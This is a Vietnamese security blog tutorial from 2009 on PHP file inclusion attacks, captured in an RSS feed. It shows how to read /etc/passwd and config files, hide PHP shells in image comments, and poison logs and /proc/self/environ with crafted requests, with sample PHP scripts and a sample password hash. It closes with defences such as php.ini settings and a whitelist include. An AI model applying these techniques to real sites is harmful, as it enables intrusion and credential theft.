                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Một trong các điểm quan trọng trong khai thác
LFI là đọc các file nhạy cảm của hệ thống, website. Một số file quan trong đối với
hệ điều hành Linux /etc/passwd, /etc/group, httpd.conf,…</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">File /etc/passwd chứa thông tin về tài khoản của
hệ điều hành. Attacker có thể lấy tên tài khoản và đùng hình thức dò quét mật khẩu,
thường là Brute force (dân lập trình thường gọi là duyệt trâu :D). Nếu mật khẩu không
được shadowed, thì password được mã hóa sẽ nằm luôn trong file /etc/passwd, có được
file này attacker có thể có được mật khẩu bằng cách crack (dùng John the Ripper chẳng
hạn). Còn nếu không mật khẩu mã hóa nằm trong /etc/shadow (có thể ở thư mục khác đối
với các bản Linux và Unix).</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Ví dụ cú pháp trong shadow : </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">guru:$1$OiD7e.JO$AGoOmlOsUK1XBw2qJcx4z0:14286:0:99999:7:::</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">File httpd.conf là file cấu hình của webserver
Apache, fiel này chứa rất nhiều thông tin về hệ thống. Thông tin quan trọng đối với
việc khai thác là error_log, access_log, DocumentRoot,…</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Một số file quan trọng của website như .htaccess
, file cấu hình chứa mật khẩu của database (thường là config.inc, configuration.php,…)</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">LFI cũng được dùng kết hợp với lỗi upload để có
được web shell. Nếu lỗi upload file có thể up được trực tiếp web shell lên và chạy
được thì không cần dùng đến LFI. Nhưng nếu có lỗi upload, chỉ upload được các file
ảnh,… thì có thể tận dụng LFI. Việc cần làm là định vị ví trí file ảnh nhiệm vụ này
khó hay không tùy thuộc kinh nghiệm tường người :D.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Trong việc upload ảnh lên cũng có rất nhiều kiểu
tùy thuộc code của chương trình upload. Nếu chỉ lọc đuôi file thì đơn giản bạn chỉ
cần đổi tên web shell từ .php sang đuôi của ảnh .jpg chẳng hạn. Nếu chương trình upload
kiểm tra xem có đúng là ảnh không thì làm sao để chèn code PHP vào file ảnh ? Phần
dưới tôi sẽ nói về chèn code vào file ảnh mà vẫn là file ảnh thực sự.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_129frd8rffc_b" name="include_image_file2" width="650" align="bottom" border="0" height="603" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 10. Include code PHP từ file
ảnh</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <font size="4">
                        <strong>Ẩn code PHP và cách dấu
shell</strong>
                      </font>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Có nhiều chỗ có thể ẩn code PHP như trong chính
file PHP, file log, file ảnh hay bất kỳ file gì.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Chèn PHP vào ảnh</strong>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Như ở trên tôi đã nói chèn code PHP vào ảnh để
làm gì ? Ở đây chèn code PHP vào file ảnh mà file ảnh đó vẫn là một file ảnh thực
sự. Vậy chèn code PHP vào phần nào của ảnh ? Ta sẽ thêm code PHP vào phần comment
của ảnh, tuy nhiêm phần này không chứa được nhiều code php, nếu shell quá lớn sẽ không
được, do đó phần này thường chèn đoạn mã ngắn như shell command, upload form,…</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Có 2 chương trình phổ biến để chèn code PHP vào
ảnh là : </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">+ <strong>edjpgcom.exe</strong> dùng cho Windows</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Download : </font>
                    <font color="#0000ff">
                      <u>
                        <a href="http://guru.net.vn/content/binary/edjpgcom.zip">http://guru.net.vn/content/binary/edjpgcom.zip</a>
                      </u>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_130c8bj95f7_b" name="graphics2" width="492" align="bottom" border="0" height="259" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 11. Giao diện edjpgcom</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_131d8gwhpdg_b" name="include_image_file3" width="447" align="bottom" border="0" height="184" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 12. File ảnh sau khi đã thêm
code PHP, không có gì thay đổi</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_132dv25jscb_b" name="include_image_file4" width="523" align="bottom" border="0" height="229" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 13. Kết quả include file ảnh
có chứa code upload</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">+<strong> jhead</strong> cho Linux và Windows</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Download : </font>
                    <font color="#0000ff">
                      <u>
                        <a href="http://freshmeat.net/projects/jhead/">http://freshmeat.net/projects/jhead/</a>
                      </u>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_133g66tfzqk_b" name="include_image_file10" width="403" align="bottom" border="0" height="182" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 14. Hình ảnh jhead</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_134c334krgj_b" name="include_image_file9" width="650" align="bottom" border="0" height="603" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 15. Chạy hàm hệ thống qua code
chèn trong ảnh</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Code PHP trong logfil </strong>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Mỗi một website khi chạy, toàn bộ thông tin truy
cập, lỗi,… sẽ được máy chủ lưu lại. Log truy cập thông thông thường được gọi là log
truy cập của site. Ngoài ra có lỗi khác đối với webserver được lưu trong file access_log,
error_log (tên file này là mặc định, có thể đổi tên khác trong httpd.conf).</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Ví dụ minh họa dưới đây cho thấy việc chèn code <em>/&lt;?php
echo phpinfo();?&gt; </em>vào file log.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Tạo 1 file fopen.php như sau:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>&lt;?php</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>$res = '';</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>$fp = fsockopen('127.0.0.1', 80);</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>if(!$fp){</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>echo "No connection";</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>}</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>fputs($fp, "GET /&lt;?php echo phpinfo();?&gt;
HTTP/1.1\r\n");</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>fputs($fp, "Host: 127.0.0.1\r\n\r\n");</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>while(!feof($fp)){</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>$res .= fgets($fp, 128);</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>include($_GET['page'].".php");</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>}</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>echo $res;</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <em>?&gt;</em>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_135gb4vrx5w_b" name="include_log_file1" width="650" align="bottom" border="0" height="247" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 16. Tạo request lỗi</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_136dvp7x3dd_b" name="include_log_file2" width="719" align="bottom" border="0" height="99" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 17. File log ghi nhận lỗi có
chứa mã PHP</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <img src="http://docs.google.com/File?id=dg34rcvn_137g45q8vfv_b" name="include_log_file3" width="650" align="bottom" border="0" height="603" />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western" align="center">
                    <strong>
                      <em>
                        <font face="Times New Roman, serif">Hình 18. Include file log</font>
                      </em>
                    </strong>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <font face="Times New Roman, serif">
                    <strong>Code PHP trong file text</strong>
                  </font>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Trong một vài trường hợp một số phần của website
lưu dữ liệu ra file text ví dụ như maillist, blogroll,..</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Thường thì phần này sẽ lưu thông tin người dùng
thông thường có thể thêm vào. Khi đó có thể chèn code PHP vào các file này. Việc còn
lại là định vị file này. Để làm được điều đó cần quan tâm đến một số file như .htacces,
file config của site,…</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Ví dụ đoạn code lỗi:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">&lt;?php</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo '&lt;form method="POST"&gt;';</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo 'E-Mail Address';</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo '&lt;input name="email"&gt;';</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo '&lt;input type="submit" name="submit"&gt;';</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo '&lt;/form&gt;';</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">if(isset($_POST['submit'])){</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$data = $_POST['email'];</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$fp = fopen("data.txt","a+");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$wr = fwrite($fp,$data);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">fclose($fp);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">}</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">?&gt;</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">File dữ liệu là file data.txt, có thể tận dụng
file này để khai thác.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Kết hợp file include và SQL Injection</strong>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Với một số phần mềm hiện nay, hay có thêm phần
module phát hiện những tấn công thông dụng như SQL injection. Ví dụ với CMS PHP-Nuke
có đoạn code như sau :</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">&lt;?</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$REQ = print_r($_REQUEST,true);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$ip = 'IP: '.$_SERVER['REMOTE_ADDR'];</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$time = 'Date: '.date("d.m.y - H:i:s");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$ref = 'Referer: '.$_SERVER['HTTP_REFERER'];</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$browser = 'Browser: '.$_SERVER['HTTP_USER_AGENT'];</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">if(eregi('UNION',$REQ) &amp;&amp; eregi('SELECT',$REQ)){</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$fp = fopen("attacks.txt","a+");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">fwrite($fp,"$REQ\n $ip\n $time\n $browser\n $ref\n");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">fclose($fp);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">header('Location: http://www.google.com');</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">}</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">?&gt;</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Khi đó các request từ trình duyệt có từ UNION
và SELECT thì sẽ ghi lại toàn bộ URL request,.. vào file attacks.txt.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Như vậy có thể chèn mã PHP vào file đó như sau:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">http://www.example.com/index.php?id= UNION SELECT
&lt;?php echo phpinfo(); ?&gt; </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Code PHP trong /proc</strong>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">/proc là một thư mục cho phép giao tiếp giữa nhân
hệ điều hành (kernel) với với người dùng của hệ điều hành (user). Tất cả các file
trong /proc không có trên đĩa cứng nó tồn tại trong RAM.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Trong phần này có thể lợi dụng để chèn code qua
Referer, phần code này sẽ được lưu trong file nằm trong thư mục có tên trùng với process
ID Apache đang chạy site đó. Tìm được file này cũng có thể include được.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Code minh họa:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">&lt;?php</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$res = '';</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$fp = fsockopen('www.lab.vnsecurity.com', 80);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">if(!$fp){</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo "hi!.";</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">}</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">fputs($fp, "GET /index.php?page=/proc/self/environ
HTTP/1.1\r\n");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">fputs($fp, "Referer: &lt;?php echo phpinfo();
?&gt;\r\n");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">fputs($fp, "Host: www.lab.vnsecurity.com\r\n\r\n");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">while(!feof($fp)){</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$res .= fgets($fp, 128);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">}</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">echo $res;</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">?&gt;</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <font size="4">
                        <strong>Cách chống tấn công File
Inclusion</strong>
                      </font>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Quan phần trên bạn đã có thể hình dung lỗi như
thế nào, tấn công ra sao? Vậy làm gì để chống lại các tấn công inlude file?</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Về cơ bản có 2 việc phải làm:</font>
                  </p>
                  <ul>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Server an toàn</font>
                      </p>
                    </li>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Lập trình an toàn (cái này rất quan trọng vì code
có thể triển khai ở nhiều server)</font>
                      </p>
                    </li>
                  </ul>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Server an toàn</strong>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Để có một server an toàn không hề đơn giản nó
đòi hỏi bạn phải hiểu về các cái mình cài đặt và có kinh nghiệm về bảo mật cũng như
quản trị. Phần này tôi chỉ nói các phần liên quan đến file include thôi.</font>
                  </p>
                  <ul>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Trong php.ini đặt các tham số allow_url_fopen=Off
(allow_url_fopen=Off) , register_globals=Off, Safe_mode=On, display_error=Off</font>
                      </p>
                    </li>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Đặt quyền cho các thư mục hợp lý</font>
                      </p>
                    </li>
                  </ul>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <strong>Lập trình an toàn</strong>
                    </font>
                  </p>
                  <ul>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Bắt lỗi chặt chẽ</font>
                      </p>
                    </li>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Bất cứ biến nào cũng cần khởi tạo</font>
                      </p>
                    </li>
                    <li>
                      <p style="margin-bottom: 0.14in;">
                        <font face="Times New Roman, serif">Sử dụng đường dẫn tuyệt đối</font>
                      </p>
                    </li>
                  </ul>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Một ví dụ code chặt chẽ:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">&lt;?php</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$whitelist = array('index.html', 'downloads.html',
'info.html');</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">$page = $_GET['page'];</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">if(in_array($page,$whitelist)){</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">include($page);</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">}else{</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">die("Attack attempt");</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">}</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">?&gt;</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Cuối cùng, chúc bạn có hiểu biết về file include
và có phát hiện và ngăn chặn các tấn công kiểu này.</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Goodluck!</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Tham khảo : hakin9, </font>
                    <a href="http://www.milw0rm.com/papers/232">
                      <span class="Apple-style-span" style="border-collapse: separate; color: rgb(0, 0, 0); font-family: 'Times New Roman'; font-size: 16px; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;">http://www.milw0rm.com/papers/232</span>
                    </a>
                    <font face="Times New Roman, serif"> , </font>
                    <font color="#0000ff">
                      <u>
                        <a href="http://www.owasp.org/">
                          <font face="Times New Roman, serif">http://www.owasp.org</font>
                        </a>
                      </u>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <br />
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Tác giả:</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Phạm Đức Hải</font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">
                      <a href="http://guru.net.vn/">http://guru.net.vn</a>
                    </font>
                  </p>
                  <p style="margin-bottom: 0.14in;" class="western">
                    <font face="Times New Roman, serif">Also post : VnSecurity.vn <a href="http://vnsecurity.vn/index.php?option=com_content&amp;view=article&amp;id=188:tan-cong-file-inclusion-file-inclusion-attacks&amp;catid=39:hacking&amp;Itemid=58">Tấn
công File Inclusion (File Inclusion Attacks)</a><br /></font>
                  </p>
                </div>
              </div>
            </div>
          </span>
        </p>
        <img width="0" height="0" src="http://www.guru.net.vn/aggbug.ashx?id=1924e061-6881-453d-a841-5ec94c00591f" />
        <br />
        <hr />
This weblog is sponsored by <a href="http://www.guru.net.vn">Guru's Blog</a>. 
<xhtml:img xmlns:xhtml="http://www.w3.org/1999/xhtml" src="http://feeds.feedburner.com/~r/phamduchai/~4/020i9Aftwg8" height="1" width="1" /></body>
      <title>Tấn công File Inclusion (File Inclusion Attacks)</title>
      <guid isPermaLink="false">PermaLink,guid,1924e061-6881-453d-a841-5ec94c00591f.aspx</guid>
      <link>http://feedproxy.google.com/~r/phamduchai/~3/020i9Aftwg8/PermaLink,guid,1924e061-6881-453d-a841-5ec94c00591f.aspx</link>
      <pubDate>Fri, 20 Mar 2009 15:14:42 GMT</pubDate>
      <description>&lt;p&gt;
&lt;span style="font-family: 'Times New Roman'; font-size: 16px;" class="Apple-style-span"&gt;
&lt;div style="margin: 0px; padding: 0px; min-height: 1100px; counter-reset: __goog_page__ 0; font-family: 'Times New Roman'; font-size: 12pt; line-height: normal; background-color: rgb(255, 255, 255); direction: inherit;"&gt;
&lt;div id="doc-contents" style="margin: 6px; direction: inherit;"&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;span style="white-space: pre;" class="Apple-tab-span"&gt; &lt;/span&gt;Trong vấn đề bảo mật
web, kiểu khai thác lỗi File Include là một trong những lỗi nguy hiểm nhất. Lỗi này
đã được biết đến từ lâu song hiện nay vẫn cực kỳ phổ biến. Vậy lỗi này như thế nào
? Vì sao bị lỗi ? Cách khai thác và phòng chống ra sao ?
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Kiến thức bạn nên trang bị để hiểu bài này sâu
hơn:&lt;/font&gt;
&lt;/p&gt;
&lt;ul style="margin-top: 0px; margin-bottom: 0px;"&gt;
&lt;li style="margin-top: 0px; margin-bottom: 0px;"&gt;
&lt;p style="margin: 0px; direction: inherit;"&gt;
&lt;font face="Times New Roman, serif"&gt;Lập trình PHP&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li style="margin-top: 0px; margin-bottom: 0px;"&gt;
&lt;p style="margin: 0px; direction: inherit;"&gt;
&lt;font face="Times New Roman, serif"&gt;Cơ bản về Apache&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;li style="margin-top: 0px; margin-bottom: 0px;"&gt;
&lt;p style="margin: 0px; direction: inherit;"&gt;
&lt;font face="Times New Roman, serif"&gt;Cơ bản về Linux&lt;/font&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Include theo tiếng Việt tạm dịch là bao gồm. Trong
lập trình PHP có lệnh là include, require, require _ once, include _ once cho phép
file hiện tại gọi đến một file khác.&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Tùy thuộc vào mức độ bảo mật của server, kẻ tấn
công có thể include file trên chính máy chủ đó (include local) hay include đến một
file ở máy khác (include remote). Mục đích của kẻ tấn công là chạy được các hàm hệ
thống và thu thập các thông tin nhạy cảm của hệ thống. Tất cả công việc trên kẻ tấn
công có thể đạt được khi chạy được web shell (hay còn gọi là web hack tool) như c99shell,
r57shell, …&lt;/font&gt;
&lt;/p&gt;
&lt;p style="margin: 0px; direction: inherit;" class="western"&gt;
&lt;font face="Times New Roman, serif"&gt;Kẻ tấn công có web shell trong tay sẽ đọc được
tất cả các file trong website đang chạy shell đó. Nếu server kém bảo mật thì kẻ tấn
công có thể đọc được file của toàn bộ hệ thống, file của các website khác trên cùng
máy chủ đó. Lỗi này hay được tấn dụng để tấn công&amp;nbsp;&lt;/font&gt;&lt;font color="#0000ff"&gt;&lt;u&gt;&lt;a href="PermaLink,guid,67aabdc3-59b9-4bd0-bf80-c2770a003a9c.aspx"&gt;&lt;font face="Times New Roman, serif"&gt;local
hack&lt;/font&gt;&lt;/a&gt;&lt;/u&gt;&lt;/font&gt;&lt;font face="Times New Roman, serif"&gt;&amp;nbsp;: kiểu tấn công
máy chủ, website qua một site bị lỗi trên máy chủ. Nếu có quyền ghi, tất cả các file
có thể bị thay đổi: deface trang chủ, chèn mã độc để thu thập thông tin đăng nhập,
ẩn dấu backdoor để lần sau vào tiếp,… Kẻ tấn công cũng có thể lấy thông tin truy nhập
